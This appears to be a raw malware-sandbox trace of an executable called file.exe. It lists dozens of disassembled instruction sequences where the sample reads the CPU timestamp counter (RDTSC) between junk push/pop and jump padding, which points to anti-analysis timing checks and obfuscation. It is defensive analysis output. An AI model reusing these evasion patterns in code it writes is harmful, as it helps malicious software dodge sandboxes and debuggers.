Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0625 second address: 53D0693 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [ebp-14h], edi 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FB55958F8C4h 0x00000015 or ecx, 76F87C58h 0x0000001b jmp 00007FB55958F8BBh 0x00000020 popfd 0x00000021 call 00007FB55958F8C8h 0x00000026 mov ah, 1Ch 0x00000028 pop ebx 0x00000029 popad 0x0000002a jne 00007FB5C9C5D6CCh 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 push ebx 0x00000034 pop ecx 0x00000035 pushad 0x00000036 popad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0693 second address: 53D06B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx edi, ax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D06B0 second address: 53D06B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D06B5 second address: 53D0774 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-2Ch] 0x0000000c pushad 0x0000000d mov cl, 24h 0x0000000f mov edi, 52A396BCh 0x00000014 popad 0x00000015 push edx 0x00000016 jmp 00007FB5588467F0h 0x0000001b mov dword ptr [esp], esi 0x0000001e jmp 00007FB5588467F0h 0x00000023 nop 0x00000024 pushad 0x00000025 jmp 00007FB5588467EEh 0x0000002a mov ebx, ecx 0x0000002c popad 0x0000002d push eax 0x0000002e pushad 0x0000002f mov di, AE50h 0x00000033 jmp 00007FB5588467F9h 0x00000038 popad 0x00000039 nop 0x0000003a pushad 0x0000003b mov si, DFF3h 0x0000003f popad 0x00000040 push ebx 0x00000041 pushad 0x00000042 call 00007FB5588467F0h 0x00000047 mov ax, CDD1h 0x0000004b pop esi 0x0000004c push eax 0x0000004d push edx 0x0000004e pushfd 0x0000004f jmp 00007FB5588467EDh 0x00000054 and cl, FFFFFFE6h 0x00000057 jmp 00007FB5588467F1h 0x0000005c popfd 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0774 second address: 53D0778 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D07A9 second address: 53D07AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D07AD second address: 53D07C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D00A8 second address: 53D00AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D00AC second address: 53D00B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D00B0 second address: 53D00B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D00B6 second address: 53D00BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D019C second address: 53D01A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0E36 second address: 53D0E45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53D0E45 second address: 53D0E4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E001B second address: 53E0071 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 036FA47Ah 0x00000008 pushfd 0x00000009 jmp 00007FB55958F8BBh 0x0000000e adc cl, 0000001Eh 0x00000011 jmp 00007FB55958F8C9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push 1EF66F27h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FB55958F8C9h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0071 second address: 53E0086 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E0086 second address: 53E008B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E008B second address: 53E00AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 56B82D01h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB5588467F2h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E00AF second address: 53E00EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FB5C9C4536Ah 0x0000000e push 75A92B70h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [75AF4538h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 pushad 0x00000054 pushfd 0x00000055 jmp 00007FB55958F8C4h 0x0000005a adc ax, 9538h 0x0000005f jmp 00007FB55958F8BBh 0x00000064 popfd 0x00000065 push eax 0x00000066 push edx 0x00000067 mov edx, eax 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0043 second address: 53F009D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB5588467F2h 0x00000009 or esi, 5E5E5338h 0x0000000f jmp 00007FB5588467EBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FB5588467EBh 0x00000022 add al, FFFFFFFEh 0x00000025 jmp 00007FB5588467F9h 0x0000002a popfd 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F009D second address: 53F00A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F00A2 second address: 53F0123 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB5588467F9h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 push esi 0x00000012 jmp 00007FB5588467F3h 0x00000017 pop esi 0x00000018 mov dh, 0Fh 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e push esi 0x0000001f mov ebx, 48660AD0h 0x00000024 pop ebx 0x00000025 mov bl, cl 0x00000027 popad 0x00000028 push esp 0x00000029 pushad 0x0000002a movzx ecx, bx 0x0000002d pushad 0x0000002e movsx ebx, si 0x00000031 call 00007FB5588467F0h 0x00000036 pop eax 0x00000037 popad 0x00000038 popad 0x00000039 mov dword ptr [esp], esi 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0123 second address: 53F0127 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0127 second address: 53F012D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F012D second address: 53F018C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB55958F8BBh 0x00000008 pop esi 0x00000009 call 00007FB55958F8C9h 0x0000000e pop ecx 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov esi, dword ptr [ebp+0Ch] 0x00000015 jmp 00007FB55958F8C7h 0x0000001a test esi, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FB55958F8C5h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F018C second address: 53F024D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FB5C8EE49FCh 0x0000000f pushad 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FB5588467EAh 0x00000017 or cx, 1FC8h 0x0000001c jmp 00007FB5588467EBh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007FB5588467F8h 0x00000028 adc si, 2228h 0x0000002d jmp 00007FB5588467EBh 0x00000032 popfd 0x00000033 popad 0x00000034 movzx ecx, dx 0x00000037 popad 0x00000038 cmp dword ptr [75AF459Ch], 05h 0x0000003f pushad 0x00000040 pushad 0x00000041 jmp 00007FB5588467F7h 0x00000046 pushad 0x00000047 popad 0x00000048 popad 0x00000049 jmp 00007FB5588467F6h 0x0000004e popad 0x0000004f je 00007FB5C8EFCA4Fh 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FB5588467F7h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F024D second address: 53F02A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FB55958F8C3h 0x00000013 or eax, 51AB643Eh 0x00000019 jmp 00007FB55958F8C9h 0x0000001e popfd 0x0000001f mov edi, esi 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F02A5 second address: 53F02AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F02EB second address: 53F0310 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB55958F8BDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0310 second address: 53F0316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0316 second address: 53F031A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEF997 second address: 6CEF9A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEF9A0 second address: 6CEF9A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEF9A4 second address: 6CEF9A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEF9A8 second address: 6CEF9C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB55958F8BCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jg 00007FB55958F8B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CEFF37 second address: 6CEFF3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF3F09 second address: 6CF3FD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB55958F8C4h 0x00000008 jmp 00007FB55958F8BDh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ebx 0x00000012 jmp 00007FB55958F8C3h 0x00000017 pop ebx 0x00000018 nop 0x00000019 mov dword ptr [ebp+122D3664h], ecx 0x0000001f push 00000000h 0x00000021 push 3251E367h 0x00000026 jmp 00007FB55958F8C9h 0x0000002b xor dword ptr [esp], 3251E3E7h 0x00000032 mov dword ptr [ebp+122D373Eh], edx 0x00000038 push 00000003h 0x0000003a jns 00007FB55958F8D5h 0x00000040 push 00000000h 0x00000042 sub edx, 5A3D1DD5h 0x00000048 push 00000003h 0x0000004a mov dword ptr [ebp+122D375Ch], ebx 0x00000050 push 6602CDE9h 0x00000055 pushad 0x00000056 pushad 0x00000057 push edx 0x00000058 pop edx 0x00000059 jmp 00007FB55958F8C1h 0x0000005e popad 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF3FD0 second address: 6CF3FF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 59FD3217h 0x0000000e movsx esi, di 0x00000011 lea ebx, dword ptr [ebp+12459C69h] 0x00000017 or edx, dword ptr [ebp+122D39FFh] 0x0000001d xchg eax, ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CF3FF4 second address: 6CF4004 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CD5774 second address: 6CD577A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D11C7C second address: 6D11C82 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D11E30 second address: 6D11E3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007FB5588467E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D11E3C second address: 6D11E40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D11E40 second address: 6D11E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB5588467E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f jne 00007FB5588467ECh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D11E57 second address: 6D11E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D11E5F second address: 6D11E63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D12285 second address: 6D1228B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1228B second address: 6D1228F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D12BB7 second address: 6D12BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007FB55958F8B6h 0x0000000c jng 00007FB55958F8B6h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D12BD0 second address: 6D12BEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB5588467F5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D12D86 second address: 6D12DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB55958F8B6h 0x0000000a jmp 00007FB55958F8BDh 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 push esi 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 jmp 00007FB55958F8C4h 0x0000001e pop esi 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 jmp 00007FB55958F8C2h 0x00000027 jl 00007FB55958F8B6h 0x0000002d pop eax 0x0000002e pushad 0x0000002f pushad 0x00000030 popad 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D086E8 second address: 6D086EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D13599 second address: 6D135A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D135A1 second address: 6D135B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB5588467F2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D135B7 second address: 6D135D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FB55958F8C7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D135D4 second address: 6D135FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467F2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jng 00007FB5588467E6h 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1374C second address: 6D13770 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007FB55958F8B8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D13770 second address: 6D1377A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB5588467ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D13A71 second address: 6D13AB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB55958F8C0h 0x00000007 jp 00007FB55958F8B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnc 00007FB55958F8B8h 0x00000015 jng 00007FB55958F8BEh 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jo 00007FB55958F8BEh 0x00000024 ja 00007FB55958F8B6h 0x0000002a push ecx 0x0000002b pop ecx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D13AB2 second address: 6D13AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB5588467F2h 0x00000009 jmp 00007FB5588467EBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D13AD3 second address: 6D13ADC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D13D6D second address: 6D13D98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB5588467EBh 0x00000007 jmp 00007FB5588467F4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007FB5588467E6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D13D98 second address: 6D13D9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D16482 second address: 6D16492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007FB5588467E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D16492 second address: 6D16496 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D16496 second address: 6D1649C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D14CDA second address: 6D14CDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CDF843 second address: 6CDF84A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CDF84A second address: 6CDF84F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1EAD7 second address: 6D1EB03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jmp 00007FB5588467F6h 0x0000000a jmp 00007FB5588467F0h 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1EC5B second address: 6D1EC5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1F1A2 second address: 6D1F1C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jg 00007FB5588467FAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1F1C1 second address: 6D1F1C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1F1C7 second address: 6D1F1CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1F1CB second address: 6D1F1D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D1F2F2 second address: 6D1F2FD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D22D2F second address: 6D22D33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D236A3 second address: 6D2371E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FB5588467EBh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jmp 00007FB5588467F9h 0x00000017 popad 0x00000018 jmp 00007FB5588467EFh 0x0000001d popad 0x0000001e xchg eax, ebx 0x0000001f mov dword ptr [ebp+122D38ADh], esi 0x00000025 nop 0x00000026 jmp 00007FB5588467F4h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FB5588467F8h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2371E second address: 6D23722 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
